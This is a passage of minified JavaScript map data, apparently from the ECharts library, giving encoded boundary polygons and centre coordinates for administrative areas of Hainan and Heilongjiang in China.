eometry:{type:"Polygon",coordinates:["@@€hIJ¤Ī¯LQDaFßL[VQìw€G‚F~Z^Ab[€¹ZYöpFº lN®D´INQQk]U‘[GSU©S_­c‹}aoSiA£cŁ¡©EiQeU­qWoESKSSOmwŸćõWkàmJMAAMMCWHGoM]gA[FGZLZCTURFNBncVOXCdGB@TSbk\\gDOKMNKWQHIvXDJ\\VDTXPERHJMFNj@OwX@LOTGzL^GHN^@RPHPE^KTDhhtBjZL[Pg@MNGLEdHV[HbRb@JHEV_NKLBRTPZhERHJcH^HDRlZJOPGdDJPOpXTETaV[GOZXTARQTRLBLWDa^QAF`ENUPBP…\\Eji`yºEvåà"],encodeOffsets:[[113115,20665]]}},{type:"Feature",id:"469033",properties:{name:"乐东黎族自治县",cp:[109.0283,18.6301],childNum:1},geometry:{type:"Polygon",coordinates:["@@ªVLP`@PEdNRAHOPEAKHEVL`GZBJfvdTAXNNTZJFPrHHNpKTD\\ILHbEVd^J‚OHLh@NNBnHP`\\xH@NBRLJTlŽNv_^CTLd@bNDVFbxdFV€UPBTKOGEOUO@OEBXQP[H_EI\\EbeYa@UO_J‹MEJ_IEDKJUGMDcNUd_FMTEJSGoZ]EIYGO[YW‘gEQ]a@WHEDQKUSDUGAbYBUpSCYNiWqOSQEoF[UcQISWWNMSDe_cLQ_UBiKQOOASQAWgS­ā]ZaŽSPÝZ]XMXSŒ[^oVËNgNKlE RôEø"],encodeOffsets:[[111263,19164]]}},{type:"Feature",id:"4602",properties:{name:"三亚市",cp:[109.3716,18.3698],childNum:1},geometry:{type:"Polygon",coordinates:["@@®ĂhTBXTRPBRPjLVAR`dKf`TC‚NXMTXRJVdE\\FpTRrPjXZMTDVoZABaVHTCLVCRGF@X^bFR’hZXP\\ZHHMA[^wBWXJlW¤EJ[bCTOF‹WWMm@ILMGWQ@DQ^QNWFSHEbF`OXNbO„VNKTEPDTLTCCVTREfvfEHNbRAENH^RJXCFHNFRpVGHWISDOTMVCZeGamaLoLÛD¹¹ėgsia{OųE—Tt‰lɂwr}jŸR±E{L}j]HąKÃT[P"],encodeOffsets:[[111547,18737]]}},{type:"Feature",id:"469036",properties:{name:"琼中黎族苗族自治县",cp:[109.8413,19.0736],childNum:1},geometry:{type:"Polygon",coordinates:["@@bRFnHNbHŒgN@NPEnbXP@bND`NT\\@\\QZb@`@J]V@XhžDpW„nCJGHGXO@CR§FANHVKLF\\MPVR`CvVfQtDPKpGHG@S`WJP~^dSTHWX\\RHTFACQTIAUPOU@MG__IaYSFQK‘NSbORHXCZeTFJg„B`YBMNMFi~IVDV[tGJWXGDQRGF]ˆJrALgESLSAYDGIaFeXQLS\\MKSLSQYJY}eKO[EHiGSaK[Yw[bmdURgEK^_kcSGEOHKIAS]aFSU@Y]IWFUTYlkP_CUOUEkmYbSQK@EMWUuAU\\M@EpK^_ZMDQ^OXwC_ZODBrERURGVVZ\\DTXcFWNIAWJWAYUUFYEWLQQaCIZeDM`cLKRGpanJZQd"],encodeOffsets:[[112153,19488]]}},{type:"Feature",id:"469007",properties:{name:"东方市",cp:[108.8498,19.0414],childNum:1},geometry:{type:"Polygon",coordinates:["@@ºŸx‹JYZQ”IŠYXLl@dR\\WZEn]bA\\S~F`KXaDeTiNO^EEKWEDQXITBXaWaDQMUJOIaTWf@NJV@dSxGZ‰Fu_@WMKAUˆ}AQ@MwG_[GOAmMMg@GKP]IUcaFKG[JSCoLGMqGEOYIMSWMSBucIeYA_HUKGFBLOFGPQBcMOF_@KO©UAtERadwZQ\\@ÊJÒgòUĪRlR°KĮVŽLJ"],encodeOffsets:[[111208,19833]]}},{type:"Feature",id:"4601",properties:{name:"海口市",cp:[110.3893,19.8516],childNum:1},geometry:{type:"Polygon",coordinates:["@@ńZƂt̬æßFuz¹j_Fi†[AOVOFME_RBb]XCAKQKRSBQWSPY\\HbUFSWSPoIOcCOHIPkYCQ]GdGGIFQYgSOAQLK`MFUIGa@aQ\\GGUFcHKNMh@\\OYKAigsCgLSF]GOQO]@GM]HyKSHKPW@Pxi@EMINYREXWRQ@MQcFGWIAwXGRH\\yDI`KJIdOCGRNPNtd\\UTMbQYi@]JeYOWaL[EcICMUJqWGDNZEXGJWFEXNbZRELFV]XQbAZFrYVUBCLNFCHmJaMIDDHXHEhQNXZ_TARFHVB@DTQIRR@YHAJVnAbKFUEMLd\\c^ÍÞ"],encodeOffsets:[[112711,20572]]}},{type:"Feature",id:"469006",properties:{name:"万宁市",cp:[110.3137,18.8388],childNum:1},geometry:{type:"Polygon",coordinates:["@@^J@ZTVbET^JBGLFPTHld]`FLQhcVanx\\\\ZbLHTGj\\FLP~fIZRZPVTQFSVAFJE^NDLEE[~LjsxVTG\\NZZNGlLRRGLJTV@hPZANN^@T\\NEPPbDZXO`d^HSvcJDIV\\XZAJUFCLNP@PQ¤@[ïKLÑIÏ]ÇE±I{uƒ­YśUćFcYUmsVeBSVgB[RO@aYYPO^]@UVaNeDShMLG\\EfFVE\\F`"],encodeOffsets:[[112657,19182]]}},{type:"Feature",id:"469027",properties:{name:"澄迈县",cp:[109.9937,19.7314],childNum:1},geometry:{type:"Polygon",coordinates:["@@T\\GJCXJH@fJDDPNCNJENN^NLHBNSx@DDYbBLLDRbjZTj@`XXTlG^Xr@PJLW\\WLTlWR@HDJTD@X_PO@STMDNTMVV@NLDM`M\\XM\\JNBH[PYZ‡úYzŸ`Ċ\\ÎÝd]c[NKVFLEBaUmBIZGQ@JQSR@CUAEGBQ`SWYRMFgWGCGJCbNnIDGMEDKVAZUEqBYRa^WEUFKYQMaFWXEHIFWMYHCrXVIIiaK@aMCUYNSIISTwXALKH@XWXIEIJQCG[IEQDE_XSBaa[AIPW@]RS[FWS[CD]PEBYNGFSaSyJG]@ugEUDQlGHiBKHUIoNSKqHFaPMICK]UUHIPDJMuCA[SCPIDIOILGAEmU[POPBVSJDREBGS[QXWSGcT}]IO_X@TGHoHOLCX\\ELT@LYTD‚aFENF\\lj"],encodeOffsets:[[112385,19987]]}},{type:"Feature",id:"469030",properties:{name:"白沙黎族自治县",cp:[109.3703,19.211],childNum:1},geometry:{type:"Polygon",coordinates:["@@D\\RV]dTXELnHr]^@LETBBRTHPi^[@U`QTHDJ`MGSogDIPKdJ`WVNHCXHl_DJR@AH`FBVPUJLHKNTJOFFZON[ZEHFCJlMJ_ŒCn`CJVNGPLTNDFIdVTWEIPmRKMc_kDMWGGUTAtJLK~\\f{pqD[LAVXRCH{HC`eŒJ`}@W^U@I@_Ya[R[@MSC_aMO@aWFmMOM@‹haGGMEmaQ[@MESHaIQJQ……MckBIw[AOSKKAMPSDSLOAV_@@`KJRbKRDfMdHZERgAWVsDMTUHqOUr@VQXTT@Tƒfg‚L^NH\\@heTCZaESNObHPƒHeZF\\X^ElM^F^"],encodeOffsets:[[111665,19890]]}},{type:"Feature",id:"469002",properties:{name:"琼海市",cp:[110.4208,19.224],childNum:1},geometry:{type:"Polygon",coordinates:["@@TP\\pATHTGlZDJGAQjE\\Rb@jVBDCN`JZ[NCNHNXbULPrP\\KNbMTLjJJRFP`“pNLZz^FLRHjVPZ@hxVKbHBHMNNJFRlLzGPnNHhIrHHADcPWdUAmEMVQDSKYHY\\EhBN^HpXGNDBNNBnIß‹Å_g{³So]ã@ORO@KMEDIVYB[WJUICudGTc]P_YWaCOOMFS[]@MMYBgOU@ISHKQQkKMHYY[MSHwUit}KF\\KFMCF]EIUBETSROUKTLT[NKTWREfJbCHBZKTFTKh"],encodeOffsets:[[112763,19595]]}},{type:"Feature",id:"469031",properties:{name:"昌江黎族自治县",cp:[109.0407,19.2137],childNum:1},geometry:{type:"Polygon",coordinates:["@@`ZĤd–`òüˆ˜ “BSPGP@VSbQ`‡@]HC~T^SE]N]FkW]E[fY„GGOPaTMbFDYfS@g[MGK]h„e@SSSRW@UVqrPVGNStCXUhBFQGYNcCeLQQaLI@_`@EUwcEaCUaMc@SK]Du`MSkKI‡~BVNL@X`‚EvYŠwHcTU@MIe@SXJbIPNVCRXbWbSAWJCRXFFL]FMPSjCfWb_L}E[TaBm^YF[XcQk@WK‰Z“JYRIZwŒ¹ "],encodeOffsets:[[111208,19833]]}},{type:"Feature",id:"469028",properties:{name:"临高县",cp:[109.6957,19.8063],childNum:1},geometry:{type:"Polygon",coordinates:["@@jD`hNd\\^dZädĒH´Op@ˆùZY\\OAGIMN[[W_NCNMKU@NUMSNCTSP@`O@WSCCI@GXQSkXKX[IK@OWqH]SkWW@_SiiYQaKCAKZaCCw@MTGAMKM]FMMIMDSM_HGHRPKCBGSJJIYH[QOJCHMBDGQJECMTDQKFGTCEGTF`NFEDMFaGSNwIiTGhYJD\\KZODC^@FTKND`XBHKJNKFBNhG^FJMPcHEZF\\QPRjQTAdgNOPgQaRSê"],encodeOffsets:[[112122,20431]]}},{type:"Feature",id:"469034",properties:{name:"陵水黎族自治县",cp:[109.9924,18.5415],childNum:1},geometry:{type:"Polygon",coordinates:["@@R]NC`YL]FoN@V[vBXVFNL@TRZalnVFVP`DlOZkVSXEE_F[EUFeH[NKTgfCbMVU^@P]ZObZP@\\QhATUfAtUasñiāEoI]eYǯ@aKmaeƒWuCºKÜKpnbHbYfUDSNCPJTRAHJTDJSfDNLHXC``VBNGTYCQDIXMDSP@xLNEFRNXBIpVNLXah@RgF@`qOML@LJNSPLbaHAh@Jdj"],encodeOffsets:[[112409,19261]]}},{type:"Feature",id:"469026",properties:{name:"屯昌县",cp:[110.0377,19.362],childNum:1},geometry:{type:"Polygon",coordinates:["@@\\OnVBFKHPJCJOJTDB\\vDINOCGJVVL^JDONEbrGTLpMVJLGjAHGRkVChF@vH^zIbTETMHAZOFC^\\DXT\\EffAP\\PdAV@UIYfS|S@YPICMeM@sC[_A]VQEwyHSMuNcAUlQJMVGMS@mVBZPFO\\CSFQK[LqDMACiUa@[QiFBRIHYCHkGSBS[oSOqB‡IE^QHCRWHIXsHU\\UC}JEjMNAN_ZƒAIhSEYfWDQGaPMTL’ERZTJb``NHV@"],encodeOffsets:[[112513,19852]]}},{type:"Feature",id:"469025",properties:{name:"定安县",cp:[110.3384,19.4698],childNum:1},geometry:{type:"Polygon",coordinates:["@@JjDNdJ\\FbKPXfZ^Ij@RZNaVSc[MsMOHQPDJcLIJ_zCG[HQxWJBHXdENRR@XQFWZQQGOFSWUCI[WCJuRGLXNMPLhCl[Ta@SqGgJMGOmyHkKEQMINMAGaGULgwY@UOGiKQ]EYyMK”oO_QEIIKiNSMa[LqOKOaVMWMGMDY\\_IKrL\\ERT[DEPYOUA@nNTUHINkRBVMdNvGTxzRF^U`BD\\@tfNDNOJ@Z{TeTJZ@VU€cB[OBOeeQT@^OXBJb\\AbWTF`RCJFH\\RDJIJFXW@WLGBKxWTSJJMTVZND@bbL"],encodeOffsets:[[112903,20139]]}},{type:"Feature",id:"469035",properties:{name:"保亭黎族苗族自治县",cp:[109.6284,18.6108],childNum:1},geometry:{type:"Polygon",coordinates:["@@FJp@fxpQ\\ApN\\GNPNBM`HLMrXLXj\\PEHnI@WUCEM\\GTc\\GZYHTPBHRCPTd€H\\K\\@HXi–BJILJJAVNTOZJNtFPC`YxDPWci@IBgbGKaTOIM@KNKrP@_hE@QbgKWUMJoWAQMFEKM@wTONCJWRCZDHSAM_UD_GWMKeCITSCGIQBGXUHQoMEEGWDQIG]FMQBMaFGueFeSQDUSDSKOCSFMLƒUaPWM_PaEGFETMX]RCRR@HXKN@JNnXXEŒSPaDI\\£FkXWIAX]xB\\GN"],encodeOffsets:[[112031,19071]]}},{type:"Feature",id:"469001",properties:{name:"五指山市",cp:[109.5282,18.8299],childNum:1},geometry:{type:"Polygon",coordinates:["@@TCNOLBTLBPx\\AJdl†NR†RIbJTGNF\\@RcIYbmHoLQdKN_fCJYbDRRXKZFVEZVXBXIJBXMdESW[CUYHUVQFQAqsEIMPYMSBUIIJKAIj•GW[@[LGScDOGQOAGSYZ[HSd[HFNVD@XmJFG[OWiWKNqGKN_MAMO[HoM[BoRewo@Y^HpITSFENc`MVCdHNIVCLJFI`NFIŒP`@VZbaf[FFJG`O\\WRFA@PVPFPPH"],encodeOffsets:[[111973,19401]]}}],UTF8Encoding:!0}}),i("echarts/util/mapData/geoJson/hei_long_jiang_geo",[],function(){return{type:"FeatureCollection",features:[{type:"Feature",id:"2311",properties:{name:"黑河市",cp:[127.1448,49.2957],childNum:6},geometry:{type:"Polygon",coordinates:["@@VÈÞ@Žkx˜nXްVÈa°V@kôw„b‚š„JVškXlVUx„„@ŽlL@xkVV°ƒ„VbxlVUnVxk@ƒ„ƒKkŽVb„Il„@°kVl„@„™lÆnkll@@V„VXƒŽš@V„²bUlƒVlV„U„VÇn@nkJšŽlkVbœ@›x²V@n°VUnlKU„n`@n°bWLnVUblVUVVbknV`°kkŽl@@V°@nz„J@XšxlWXb°n@bƒĠlbXb™bVbƒJ@Všb„a@„„@lbUbšVmnœ@lšVmnIW‚œ@WbÞ@„n@x°@š„ĢaƐéϚnœ„‚lȝĠŻÈwm@ôçU™mm£Xy°UV™›@wÈ£Ǫ¯kõÝçUњ™Uķ‚ƒĢkVфÆšÞU°nŎ¥ČUĊx°m°¦żVƐœx°ƒÇ£@y„UônރÆ@Èĉ°Kô¦šW„kWU—bÇ»@™ÈĕWÇÈ£ŤU@›n£ÆUUKVamanwŃmÝJ¯k@JƒIkaVaUUÇbkaÆÑkWmÝUۙ™Ý@™ƒwnU±ƒ@kkV¯KUkƒJƒ¼U¦ƒšÅ@ówķaķůV¥Uaó@Åwmƒƒ_kVƒwĉ‚ĉmmn_V»™a@U™ƒVwķóƒ‚U¦LǫéóXÇmōLǓÇķxÝkƒƒĉ™kmakbUͰ@W¼„@bƒšÈÆ@Ė™L„l@„°J¯„mkl¯L݃±L—amJ@¼ƒ„™VƧUó„™UX˜ċb¯ńVbkÆÝI@llx„k°V²šV@Uxގ˜L@b„@b™`ƒšÇzkókݤ@ğ¯Wƒ™LĉǙLmmnċVkbUaƒL@ޝ„‚bU°ğL݂Ý@"],encodeOffsets:[[127744,50102]]}},{type:"Feature",id:"2327",properties:{name:"大兴安岭地区",cp:[124.1016,52.2345],childNum:3},geometry:{type:"Polygon",coordinates:["@@k›ƒϙmƏêġb™ƒ¯@@wƒmÝ@XV@IlŽl@bUxl¯VlV™bV@ULVlUV™_kx™VVV™ÈÝJ@„¯šU„™lm¯x@xóÒĉ¼m„¯Wƒxţ@Uz¯ƒWwnUwťƒ@knƒWƒ£óVƒUUwğyó¦WI—Vmm™I@±kwÇ@@bƒ@ĉ¼ó@¯wó@¯aó¼›KՃaUwmWUwÅI@aƒKó@Ua™LƒaƒVÅwō¼UUÝl±I—¤VxÇx@zkJmnn‚mbnz™xlŽƒl¯ČkJl™°@„kb„Žmx@x™@kêmVnŽWxôXšxU°„bWLóJnÇWĵ„V¦™ŽƒUUb™b™ÆġK™šk¯™VU±aXmċÑUwĉKġ„k„™ŽVxk„ÇKkbƒIƒ‚ÛXWl¯bƒŽ™X¯K™bĊš„„ÞVƚnŽĸ²lxUްn°òÈb‚¦—xVbƒŽƒ@¯„Vx@¯VķÞČlĊ°KĸŽȘI°¤ČIôŽò»ƨnȰKǬ¦ôWŎÈƨwlƒnKVXmbX`lbšwkVW‚XXŽ„L°a„ƾaĊ£nƒ°@°¥ŎzÞ¥‚»œalwôkƒJ„a@ĶK„£„bU°ĊxźVÈUĠ¥ƨ™VI@XU°x°Ln¥šw°UmwXm݁V¥Ģް@nU@mÆ£š¯lKœšÜw@aÅU‚¥UaÝIkmV²‚nn@Ķ»@Uk¥VKÞ@ÞÛ@ƒkVmĢa@_ƒJómƒǖ¯Æw—óÇa@alƒUwšwĢřšk@wÆWXUWXƒWa™m@_ƒ»ÇéXaĸwVa@ÝKkUWkX‚kšKXxƒn@lĊV@¯m¯nřÆwš¥"],encodeOffsets:[[130084,52206]]}},{type:"Feature",id:"2301",properties:{name:"哈尔滨市",cp:[127.9688,45.368],childNum:11},geometry:{type:"Polygon",coordinates:["@@°`„_šJlUšŽ@„„@V¦°JUšŽnLôlnŤ@@šÈaUÒVbkbl¤ƒzk°ÇVÛô°IlVUVôU„xÆU„Ž@bźĀ„º@¦šb@l²‚UVlœ@°ÒĠxšnXxÆVô¼Þ@Üx²KލlƒVѰUȰôlwô@²ƒĸ°„lanV@„šVŎUll@bÈnÜm„wĢ@la@ÝÞb°UXb˜lŎ²ÆškšV‚I@ŽnJnĠްknƒÜbĢwna@a˜kÞKƒĀ„a‚™œ‚‚IVbU¥wĠwkô˜xnLƒċVçkaUƒ±IUmnġW„°WôĉšalƒÞÅĵ¯@W¹XÝaƒb¯a±X¯ºLƒaVƒmkLóƒƒbkaƒVUKVkkKV_@aÝykk±L@ƒÅU@yV_™aU¥ówÇx™@UkVƒn@lƒkÅlwšWVwUkĉmkklW@šašbVwnWWƒ—wWL™™@Ušƒ™UƒÇLšÇmƒ„@wƒJĉƒL¥@ƒÝ_@a¯y„UWw¯ƒ¯Uġx¯aÝXVmaU£ó±›¯nwƒa¯óÅVƒXman™„Uƒ›lUXkWa@mkI„›ğaƒm™IklÇU™„kĊƒƒzkKƒš„lU„ōĬlš™„@ŽnX°@llUxʲmKĉVWwk@UbUK@bmVmI—ƒVmwaWxXlWȁšmºšÞÆbUxV@ĵńWÆĉLkWUbƒaWzkbĉ`U„±LklōwUVÝ£™UW`Uwk@mk¯VkaõVX@WbL™K@XƧºWzxƒK@lmX@bkVVÆk¼Vbk@Vn"],encodeOffsets:[[128712,46604]]}},{type:"Feature",id:"2302",properties:{name:"齐齐哈尔市",cp:[124.541,47.5818],childNum:11},geometry:{type:"Polygon",coordinates:["@@Þ@ށĠKV¯a°ƒ@„KVblaČU‚mnnšKĊȚKX„°ŽĠ@Þ£ôllÈy„™š_@a‚ƒ@a—KݍVwU@±™¯Uƒlkw@kÞJlÅUa°ŃČaW—šVôƒƨVšU„ƒ@»nI˜b²Kބ°Klkn°ƒ¯I@ƒƒkšK@ĕÇń™@aƒX»¯@VĵlaÿVamI@aÅÝउýƒĊȗJƒôȁÅkmƑۃ@kxġ@@l™aVk¯»ƒīŹaƒkƒ¥Å¯™JUaWU@@w™aƒ»„KUkÆkUm„UmwÛ±±UUbUŽUXƒwWwÆÝk™lkUanaWwnKl™kal¯ka™ƽa›kÅx™a¯@™amb¯V™lÇwÛĀ™V@x™šmêVƜVV‚aôV„wÈx@šˌx„¦VÞ¯VšlmX@‚ƒL@¯Ua¯LmV@„„°X„ċK™V™ƒ@UƒÈ@‚¥@w—ƒġIU™km¥Źwƒ¦¯lmn@°kxVV@¦óam„n¦l@nx™lĉVóšmx™n™ÒĉĀĊ¼„þ„šǔêÞ°ˌĠÞÒ°ĀɲĀƨźˤȤƨĊ°w@£nymwnkUUV¥ôÑVmkÆmUUVa™mVIkmô„lxkXÞþƒbl„ƒl@kV„ƆƒV„xV@š¼VÒ@šŽUŽšnnނJ"],encodeOffsets:[[127744,50102]]}},{type:"Feature",id:"2310",properties:{name:"牡丹江市",cp:[129.7815,44.7089],childNum:7},geometry:{type:"Polygon",coordinates:["@@U`lLUlVL„Ulb„aô„lKnŽU„„b‚K°¹²W°b„aÞb˜knyUlUkamř²L@m°@lšmš²n`ôÅlK„x„ÜKnxV@„l@œƒ›ÅXyW_k@™wm™ŹĕmƒX™»‚ƒÛ™l°ƒôšÈ„»š—ô˜ô_WW@Uœal»šwU@@wšUVƒš@VƒXI@w‚Ģ͑ÞȻ›aU_@mUkly@¯óV»XmWUXUWmnm¥nUUaWLk»Æ²IÇa™wÅaݰ¯nUa±a™ƒ™@¦õÆğ„@„™@Åb›xU܁nÇłlb¯¦„ôó»mƒ—@±ƒUk@Wwƒa¯xU„V°ƒxXbǎŁUV™™ƒK@¹ƒKUaȯ@ōݙXƒal™ƒlÛkalÇUǫÇńÇakbÝƆ¯nlš¯Ž@¼™VUx@x¯W¼™Æ¯šmĖ„Ĭ¯ČƒVk‚ķÅmxœ°ô²V¤‚bUnÞW°bĢw°V°„XxƒV°z@bÞ`@„‚¦„KĊŽ„I@xƒŽn„™ÈÈK‚„šV™„@VššXK˜xX„mXUx™a™b@‚kXllĊnVlUx™XkxlÆk„m@U„Vlš@ÈwôxV¦šbU`@zÆV@„²KllÞz@b"],encodeOffsets:[[132672,46936]]}},{type:"Feature",id:"2312",properties:{name:"绥化市",cp:[126.7163,46.8018],childNum:10},geometry:{type:"Polygon",coordinates:["@@ऊþÆÞ@bnJUb‚ĀnblŽĊš„„ÞlĸwǔÈŎKÈnôWǬê‚KV¥„ĸôUxš„@VšbU¼m`nnĊŽĊ„xlUšmkaVÿšLšwš@°»UmbKmݙUšwUmVknKUUl¯ƒKU™ƒUȃ‚™nK@ĠkX±lX„°„L@¯¥@wV_m›ĵ¯Ww™L¯ƒUkōƒÇVU™l›w—V󁱃¯aƒVka°wVk°mÞ¯Ŧřƙl™²™Ŏk™U@ƒmUkb¯ƒķޱ„ó@kxȯó¯VUÒk„ÝŽ±LÛwÝ@ó»ÅUWw™mğw¯Ñ›@UkV±@k™a@¥ƒ¹Źÿ@aƒÅVƒwóVVUkU¯JÜóÈUl¯„yk£laUaVÑÇb@™ţ@kmómK™V¯IU¥ƒ@@ƒ™kV™Iƒ`@ô™¼„blU„lƒ™bÈb@xÇKkĢɳaÅɆō@ƒŽVƒK@z™@@¥ÆKnÜ@@aۏUw›wnU‚ķ@ƒ_ƒV°Ž@„klVššnULVVÞbVl@°™@nx™n°LŚÆlV„ȃmU²@VmĠLƒx„n¯xkWƒzšJ‚wnLmbXbW°šÆ‚™²™@™Žšx@JVx„L‚Ā²Æ°I¯º‚È@ÒnÈ"],encodeOffsets:[[128352,48421]]}},{type:"Feature",id:"2307",properties:{name:"伊春市",cp:[129.1992,47.9608],childNum:3},geometry:{type:"Polygon",coordinates:["@@ƒKƒ¯kWW²ğl@ŽmLšÇ„„VVš„Lk°VVmLUlVn™xšVnނLnaVޝ¼™@™x™KUĀlb™n„`n„Æxô@VbU¦ĸŰĸbôxÆ@„™V¥„»„IVl°LUŽll@²„mV„x@ššÞܚÞVnŽlXÅÒlbÈaVVUblb„J@I°lÞIn‚Æ„mxnbUbVLÅVm¤@œţVǤXÈÇĖ@šÈ¼˜aXVÜaXbWŽnzŎašř„KôbšUlw@¯naÆKnUU¯Üa@mkkVUĊm„™żÝ‚ǖŽ‚K„™°L²lÆI@ƒ¯¥ĉƛVaÞk@ÝVaĠlnUVwƒœómaƒ@™wĉ@™a™VƒxamX@aƒ@UaÅLƒaVWƒ_nWm£nWm_ÅV¯ƒm@m„󤁚ݦƒ¯ÅalmX£ƒ™VWUŚw™mÇ@@IV™„WUw@ašI@„k@wŎ»Wƒ„ƒ™ÅVaœK›Ika@¥lUkUlwÅwVyÈwWU@a¯U°m—Ç@UçƒaVa¯mV»ÅwÝUlƒUk™V@k„mUk‚X£šw°@@ǃaÝIƒƒam™Ûam„¯lğmmI@J™U™l±ÅōŽ—kWa¯VÝa@Þkbġ@ƒxÛnÇm@akkōVōl±škšÅšťŚÝ°¯nUl¯xlb„U°b²„ô‚˜Uœxšk‚VÈUŎ„Vl°„šKXxͰnœU`@x°¦@"],encodeOffsets:[[131637,48556]]}},{type:"Feature",id:"2308",properties:{name:"佳木斯市",cp:[133.0005,47.5763],childNum:7},geometry:{type:"Polygon",coordinates:["@@nš„b‚„ÞJ„b@ȯ@™xW¤Vlƒn@lšUVlk„ÞVÆxU¼°nUb„bVèÈ@˜ŽnIn‚@šĢmlUw°™żƒ‚VUn@lnL@VôbšwĊ‚lœ„JķĸĢl„wôwƨxVVUƒŦšxšLź™Èš°`nnĠwŎJސĶwôJ„@¤Xn܄ĸlšn°¼È°lŽ„„Uš‚b„xš@„l@ÞÞÈm°„lôwšL°¼ĸ‚°Þ²nĠ@ôwÞ`ŤI„V„ÒĠU„„@„VJĸbƄ²@°ŽĊKšœ„JĶa̐Ȱ@ô¥°nš¤‚bČUš@Vx„mUw@a݁ţƒÇ™ķƒ@ĕķīU¯²@ÆmVÑô¯X¥ċç@™ĉ»U¥ÝţKWVÅkUVÝŎUmǍÝx¯aķxÛUóL¯a±óōb¯™ƒÑŃVÿƒ_Åķ„a@UƒK@wm@Van@UmmLVa—@VImmXUWƒÝUřƒKUwÝUUƒkVƒk@l¯X›‚Å_ƒJ¯k™Jm„ÅLƒa@¥U@¯Vƒz¯@ƒ`@¼šmxƥšŏKÛk@±laÛ@@Xm@™ƒ@xƽ@WŎnšˣĕÅ@@aÅ@@nÝbǏ¯@ƒ_U›kUWƒkb™wÝU@ç„Wlw@anIƒ¯lyœX°m°VšašÛšm@„mVwÞK°ƒšXlaXmm_ƒ@UƒkwÝK@ƒVI™ƒXmV»ƒI@aƒ¯ğW™bġaU_¯JU¯ġŽƒ„ĉ„k„ō`±nÝÆk„™bóĊ¯Xƒ‚ĢX‚mVn²JV„lbUè„ČmK—wlóğx‚xV¦UaJ›šƒbƑÿÝL—l@bmbġx"],encodeOffsets:[[132615,47740]]}},{type:"Feature",id:"2303",properties:{name:"鸡西市",cp:[132.7917,45.7361],childNum:4},geometry:{type:"Polygon",coordinates:["@@‚LšKVVnkšbVšÈb‚²U°VnklVlaÈL@anU°ÜmXV`œnôLƒèšxlŽšLX„˜L²ašVVmÈX@ķ˜lnU„Èl`ȹš@ŤŽ°U@x„KnnV„mlnnUl‚lVnnaŎwlVÞ҄@n¦šLVްlšwVk„Lšaގl„n҄š@xmLÞ¤Wnœ¼‚WÈLVVUxlÈô„„WVaU_VKšKXUÆbn™‚nôK„bÞw°bÆWXamVwœK˜™Uw¯WUk„UlJUwVUa™@@kmyzm›ĉw@kVwškƒW¯ÅKU_Vmƒƒ™xU@aW@@kK@w„a@Kƒ@@kVUƒaky°_Vm™kna¯K@™ƒL™wġk@@IÇóX™ƒwVakmV@mwXUWanƒlĉ@ǙUw™KƒƒóšܛNJۄm°@›w—Å@ƒ±b¯Wƒ¹„WVwŹĕ¯kVmōb¯w@aƒwmV™UUb™V™IkaVwķ™xk¼›b@VXXó`󗙘ƒ¼Çó™¯„kŽÜš„š¼WŽn„źĖnššxl@X`WzœÆ"],encodeOffsets:[[133921,46716]]}},{type:"Feature",id:"2305",properties:{name:"双鸭山市",cp:[133.5938,46.7523],childNum:5},geometry:{type:"Polygon",coordinates:["@@™UƒƒUwó™mÑÞÑUÝÝUkmmŃyV¯ī„¥ƒUÿĉ¯mÇkaWbÅX¯aÝxƒaóLmmšÅaWV™LULV`UbƒXóƒkÇVwUUÇKX›»XmÝ£nK@wƒ™mÑkƒÝ™bƒKUl™x¯kU™Km¥ƒ@ÝÑkUōxmbUmkVkmmnkUƒmmƒL@w¯Vţ™@Ǻk_ƒÇmV—k@ĸVx‚VȰlLkllšUbōwƒnVW¼nlUx¯XmWUnÝ@™xÝUó¼¯J@LVbkJWnkb™W¯„ÝLUxƒn@‚™n™Ü™b¯U¯n›Wkz„°mJ@bkxƒX@èÞVšxlaX„lVVœ„`°@ȐÞa@mÆ@@bÆ@ˤĖm™Xōƾ@@wš„n@@WÜ@kb@²ÜlŐLƦ™nw™@»„_°@„y°UV@@¦„bÆKnƒšI°l„IÆ`œ°W@k„llUV„ÞVVx„LƚÞVX„WVnnUJ˜@UbnKVnm@Ubn@@x„L@VƒbÆĸ„`UĀÆ„„Ò°šŎa²ô°bôKÜVĸw°bÞwȎVnÞōVUÆlXU"],encodeOffsets:[[137577,48578]]}},{type:"Feature",id:"2306",properties:{name:"大庆市",cp:[124.7717,46.4282],childNum:5},geometry:{type:"Polygon",coordinates:["@@mÇ@сǰ¹¯J±ÅÿƒKUw‚I@™wšš@š±Å‚™X¯WanamKx™I„ylX°wƒm„wğKUn±@nVDŽUƒÅkƙ¯Kšmmwš@@¯UkÝaUUVK™mU™lk@ƒ¯„U„`ĸ@V‚mœxVxܐ@bÛ@m‚ÅL@¦š@@y„L‚U„Ŏ@ÆɅɴblġÈL@wÇaša„ƒkkVƒaš»@ó¯_ÝJ™wÇaÅXny›U¯¥Å„@w™bÝa™Lmm@@ƒVUŽlbğVmš™¯Xƒm_ƒ`¯_Ux™m™L™a¯b@mƒaó¦Çk™¤V„@bóJknVx™VXx±aƒLUbVxkLVlLWlƒ@nX@VÅbWlÈnƒx„bWšÅbmŽ@xœbml°b™„XbW„XVmnn`ƒLmšnbmb@šk@mwU@@š¯Jlbk°lbkšmLXxmbVbkllšÅނxX„xVWVVa²VܲnxƒVVnÅlVlƒL„¼šb@xV@XŽVbšIư„¦„lźb„Ĭ°¼Ulšb@kĢ@lw„@ƒÜlnȂƄóȘI„ĉ"],encodeOffsets:[[128352,48421]]}},{type:"Feature",id:"2304",properties:{name:"鹤岗市",cp:[130.4407,47.7081],childNum:3},geometry:{type:"Polygon",coordinates:["@@Þ¥‚™ô£nƒn@°„ÆUn`mXn¤mX„`UX„bÆKVb„@@bnW‚b„wšUšbĊ@šx„@nbšWVmƒ_mm@ó»Um„ŘWXkĠ»²¯‚¯nķšwŎ@ĊšŎK°bĸUnјKȦĠÈbÆknJššÆUĢV°IšŽšVƾƒwaV™ƒƒkÇ¯¯»™mķkۃWm@£ƒóIĵxݏōIğxmm¯_Ç™Źš™K™wťŽ„UVUŽƧwóxƒxġkĸķƒIk›ĉ™xóa@UmK@kVmUŻ„¯šVxkŽġn™‚@mmJ¯n°V@bXVÇxUzÆxkxlVkV@¦lbœJ›LUbšÆƒ„X„ō¼@xƒl@™J@bVxƒXUš@JÈ@šn™xVÆUXš‚„W¤knÆb„°"],encodeOffsets:[[132998,49478]]}},{type:"Feature",id:"2309",properties:{name:"七台河市",cp:[131.2756,45.9558],childNum:2},geometry:{type:"Polygon",coordinates:["@@²mŎ_lƒĊƒ„ƒĢV°°IV`ĢbšaĠX„°@b„JU¼Wnš„UJ@„ÞLlxV